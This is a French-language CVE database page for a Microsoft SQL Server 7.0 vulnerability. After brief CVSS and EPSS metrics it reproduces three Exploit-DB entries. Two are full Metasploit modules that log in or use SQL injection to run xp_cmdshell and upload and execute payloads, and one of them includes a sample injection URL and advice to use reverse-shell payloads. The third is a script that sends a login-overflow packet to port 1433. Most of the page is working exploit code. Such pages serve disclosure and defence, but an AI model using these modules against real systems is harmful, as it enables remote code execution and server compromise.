Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16395
Date de publication : 2010-12-20 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: mssql_payload.rb 11392 2010-12-21 20:36:34Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL
include Msf::Exploit::CmdStagerVBS
#include Msf::Exploit::CmdStagerDebugAsm
#include Msf::Exploit::CmdStagerDebugWrite
#include Msf::Exploit::CmdStagerTFTP
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module executes an arbitrary payload on a Microsoft SQL Server by using
the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
First, the original method uses Windows 'debug.com'. File size restrictions are
avoidied by incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
A second method takes advantage of the Command Stager subsystem. This allows using
various techniques, such as using a TFTP server, to send the executable. By default
the Command Stager uses 'wcsript.exe' to generate the executable on the target.
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
payload on the target.
NOTE: This module will leave a payload executable on the target system when the
attack is finished.
},
'Author' =>
[
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
'jduck' # command stager mods
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11392 $',
'References' =>
[
# 'sa' password in logs
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'BID', '1281' ],
# blank default 'sa' password
[ 'CVE', '2000-1209' ],
[ 'OSVDB', '15757' ],
[ 'BID', '4797' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
])
end
# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
def exploit
if (not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
method = datastore['METHOD'].downcase
if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe
# Use powershell method for payload delivery if specified
if (method =~ /^ps/) or (method =~ /^power/)
powershell_upload_exec(exe)
else
# Otherwise, fall back to the old way..
mssql_upload_exec(exe, datastore['VERBOSE'])
end
end
handler
disconnect
end
end
Exploit Database EDB-ID : 16394
Date de publication : 2011-02-07 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: mssql_payload_sqli.rb 11730 2011-02-08 23:31:44Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution via SQL injection',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using a SQL injection vulnerability.
Once a vulnerability is identified this module
will use xp_cmdshell to upload and execute Metasploit payloads.
It is necessary to specify the exact point where the SQL injection
vulnerability happens. For example, given the following injection:
http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical
you would need to set the following path:
set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar
In regard to the payload, unless there is a closed port in the web server,
you dont want to use any "bind" payload, specially on port 80, as you will
stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
your port 80 or to any other outbound port allowed on the firewall.
For privileged ports execute Metasploit msfconsole as root.
Currently, three delivery methods are supported.
First, the original method uses Windows 'debug.com'. File size restrictions are
avoidied by incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
A second method takes advantage of the Command Stager subsystem. This allows using
various techniques, such as using a TFTP server, to send the executable. By default
the Command Stager uses 'wcsript.exe' to generate the executable on the target.
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
payload on the target.
NOTE: This module will leave a payload executable on the target system when the
attack is finished.
},
'Author' =>
[
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
'jduck', # command stager mods
'Rodrigo Marcos' # SQL injection mods
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11730 $',
'References' =>
[
# 'sa' password in logs
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'BID', '1281' ],
# blank default 'sa' password
[ 'CVE', '2000-1209' ],
[ 'OSVDB', '15757' ],
[ 'BID', '4797' ],
# code and comments
[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]
],
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])
])
end
# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
def exploit
method = datastore['DELIVERY'].downcase
if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe
# Use powershell method for payload delivery if specified
if (method =~ /^ps/) or (method =~ /^power/)
powershell_upload_exec(exe)
else
# Otherwise, fall back to the old way..
mssql_upload_exec(exe, datastore['VERBOSE'])
end
end
print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
select(nil,nil,nil,50)
handler
disconnect
end
end
Exploit Database EDB-ID : 21693
Date de publication : 2002-08-05 22h00 +00:00
Auteur : Dave Aitel
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/5411/info
A vulnerability has been discovered in Microsoft SQL Server that could make it possible for remote attackers to gain access to target hosts.
It is possible for an attacker to cause a buffer overflow condition on the vulnerable SQL server with a malformed login request. This may allow a remote attacker to execute arbitrary code as the SQL Server process.
This vulnerability reportedly occurs even before authentication can proceed.
##
#
# this script tests for the "You had me at hello" overflow
# in MSSQL (tcp/1433)
# Copyright Dave Aitel (2002)
# Bug found by: Dave Aitel (2002)
#
##
#TODO:
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
if(description)
{
script_id(11067);
# script_cve_id("CVE-2000-0402");
script_version ("$Revision: 0.1 $");
name["english"] = "Microsoft SQL Server Hello Overflow";
script_name(english:name["english"]);
desc["english"] = "
The remote MS SQL server is vulnerable to the Hello overflow.
An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM,
as well as read your database content.
Solution : disable this service (Microsoft SQL Server).
Risk factor : High";
script_description(english:desc["english"]);
summary["english"] = "Microsoft SQL Server Hello Overflow";
script_summary(english:summary["english"]);
script_category(ACT_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002 Dave Aitel");
family["english"] = "Windows";
script_family(english:family["english"]);
script_require_ports(1433);
exit(0);
}
#
# The script code starts here
#
#taken from mssql.spk
pkt_hdr = raw_string(
0x12 ,0x01 ,0x00 ,0x34 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x15 ,0x00 ,0x06 ,0x01 ,0x00 ,0x1b
,0x00 ,0x01 ,0x02 ,0x00 ,0x1c ,0x00 ,0x0c ,0x03 ,0x00 ,0x28 ,0x00 ,0x04 ,0xff ,0x08 ,0x00 ,0x02
,0x10 ,0x00 ,0x00 ,0x00
);
#taken from mssql.spk
pkt_tail = raw_string (
0x00 ,0x24 ,0x01 ,0x00 ,0x00
);
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
port = 1433;
found = 0;
report = "The SQL Server is vulnerable to the Hello overflow.
An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM,
as well as read your database content.
Solution : disable this service (Microsoft SQL Server).
Risk factor : High";
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
#uncomment this to see what normally happens
#attack_string="MSSQLServer";
#uncomment next line to actually test for overflow
attack_string=crap(560);
# this creates a variable called sql_packet
sql_packet = pkt_hdr+attack_string+pkt_tail;
send(socket:soc, data:sql_packet);
r = recv(socket:soc, length:4096);
close(soc);
display ("Result:",r,"\n");
if(!r)
{
display("Security Hole in MSSQL\n");
security_hole(port:port, data:report);
}
}
}
Products Mentioned
Configuraton 0
Microsoft>>Sql_server >> Version 7.0
Microsoft>>Sql_server >> Version 7.0
Microsoft>>Sql_server >> Version 7.0
Références